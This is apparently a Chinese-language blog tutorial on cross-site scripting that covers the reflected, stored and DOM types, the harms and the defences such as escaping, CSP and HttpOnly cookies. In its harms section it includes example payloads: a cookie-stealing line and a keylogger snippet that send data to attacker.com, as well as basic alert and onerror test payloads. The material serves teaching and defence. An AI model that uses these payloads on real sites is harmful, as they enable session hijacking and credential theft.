xss漏洞

1. XSS漏洞概述

XSS(Cross-Site Scripting,跨站脚本攻击)​​ 是一种安全漏洞,攻击者通过向网页注入恶意脚本(通常是JavaScript),使得这些脚本在受害者的浏览器中执行。XSS漏洞通常发生在Web应用程序未对用户输入进行适当过滤和转义的情况下。

1.1 XSS漏洞的核心特点

  • 攻击方式:攻击者注入恶意脚本,受害者浏览器执行。
  • 利用点:Web应用程序未正确过滤用户输入。
  • 影响范围:可窃取用户Cookie、会话令牌,篡改网页内容,甚至控制用户浏览器。

2. XSS漏洞分类

XSS漏洞主要分为三类:​反射型XSS、存储型XSS、DOM型XSS

2.1 反射型XSS(Reflected XSS)​

  • 特点
    • 恶意脚本来自当前HTTP请求(如URL参数)。
    • 不会存储在服务器上,仅影响点击恶意链接的用户。
  • 攻击流程
    1. 攻击者构造恶意URL,如:

      复制代码

      复制

      复制代码
      http://example.com/search?q=<script>alert('XSS')</script>
    2. 诱骗用户点击该URL(如通过钓鱼邮件、社交工程)。

    3. 服务器返回包含恶意脚本的页面,用户浏览器执行该脚本。

  • 典型场景
    • 搜索框、错误消息、URL参数等未过滤的输入点。

2.2 存储型XSS(Stored XSS / Persistent XSS)​

  • 特点
    • 恶意脚本存储在服务器(如数据库、文件、缓存)。
    • 所有访问受影响页面的用户都会执行该脚本。
  • 攻击流程
    1. 攻击者提交恶意内容(如评论、留言

      复制代码
      <script>alert('XSS')</script>
    2. 服务器存储该内容并返回给其他用户。

    3. 受害者访问该页面时,恶意脚本自动执行。

  • 典型场景
    • 论坛评论、用户资料、博客文章等可存储用户输入的地方。

2.3 DOM型XSS(DOM-based XSS)​

  • 特点
    • 完全在客户端执行,不涉及服务器。
    • 由于JavaScript动态修改DOM导致的安全问题。
  • 攻击流程
    1. 攻击者构造特殊URL,如:

      复制代码

      复制

      复制代码
      http://example.com/#<script>alert('XSS')</script>
    2. 用户访问该URL,前端JavaScript解析URL并写入Dom

      复制代码
      document.write(location.hash.substring(1));
    3. 恶意脚本被执行。

  • 典型场景
    • 使用location.hashdocument.writeinnerHTML等动态操作DOM的代码。

3. XSS攻击的危害

XSS漏洞可导致多种严重安全问题:

3.1 窃取用户数据

  • 盗取Cookie :攻击者可窃取用户的会话Cookie,劫持账户。

    复制代码
    document.location='http://attacker.com/steal?cookie='+document.cookie;
  • 获取表单数据 :监听oninput事件窃取密码。

  • 读取本地存储 :访问localStoragesessionStorage

3.2 会话劫持

  • 冒充用户执行操作(如转账、修改资料)。
  • 利用XMLHttpRequestfetch发送恶意请求。

3.3 网页篡改

  • 修改页面内容(如插入虚假登录框)。

  • 重定向到恶意网站:

    复制代码
    window.location.href = "http://phishing-site.com";

3.4 键盘记录

  • 监听onkeypress事件记录用户

    复制代码
    document.onkeypress = function(e) { 
      fetch('http://attacker.com/log?key=' + e.key);
    };

3.5 传播蠕虫

  • 自动转发恶意链接(如社交网络XSS蠕虫)。

4. XSS防御措施

4.1 输入过滤与转义

复制代码
function escapeHtml(text) {
  return text
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}
  • JavaScript转义

    复制代码
    function escapeJs(text) {
      return text.replace(/"/g, '\\"');
    }

4.2 输出编码

  • 前端框架自动转义
    • React:默认转义{userInput}
    • Vue.js:v-text自动转义,v-html需谨慎使用。

4.3 使用Content Security Policy (CSP)​

  • 限制脚本来源:

    复制代码
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

4.4 HttpOnly Cookie

  • 防止JavaScript访问

    复制代码
    Set-Cookie: sessionId=123; HttpOnly; Secure

4.5 避免危险的DOM操作

  • 避免使用innerHTMLdocument.write,改用textContent

    复制代码
    element.textContent = userInput; // 安全
    element.innerHTML = userInput;  // 危险

5. 测试与检测XSS漏洞

5.1 手动测试

  • 尝试注入基本Payload:

    复制代码
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
  • 检查是否被转义:

    复制代码
    &lt;script&gt;alert(1)&lt;/script&gt; <!-- 已转义 -->

5.2 自动化工具

  • Burp Suite:扫描XSS漏洞。
  • OWASP ZAP:自动化安全测试。
  • XSS Hunter:检测存储型XSS。

6. 总结

类型 存储位置 触发方式 防御措施
反射型XSS URL参数 用户点击恶意链接 输入过滤、输出编码
存储型XSS 数据库 访问受感染页面 严格输入验证、CSP
DOM型XSS 前端JS 动态DOM操作 避免innerHTMLeval
相关推荐
答案answer6 分钟前
three.js 实现几个好看的文本内容效果
前端·webgl·three.js
Running_C14 分钟前
一文读懂跨域
前端·http·面试
南囝coding18 分钟前
这个Web新API让任何内容都能画中画!
前端·后端
起这个名字25 分钟前
Vue2/3 v-model 使用区别详解,不了解的来看看
前端·javascript·vue.js
林太白25 分钟前
VitePress项目工程化应该如何做
前端·后端
七夜zippoe27 分钟前
Chrome 插件开发实战
前端·chrome·插件开发
ScottePerk31 分钟前
css之再谈浮动定位float(深入理解篇)
前端·css·float·浮动布局·clear
RiemannHypo39 分钟前
Vue3.x 全家桶 | 12 - Vue 的指令 : v-bind
前端
弹简特43 分钟前
【Java web】HTTP 与 Web 基础教程
java·开发语言·前端
海拥1 小时前
AI 编程实践:用 Trae 快速开发 HTML 贪吃蛇游戏
前端·trae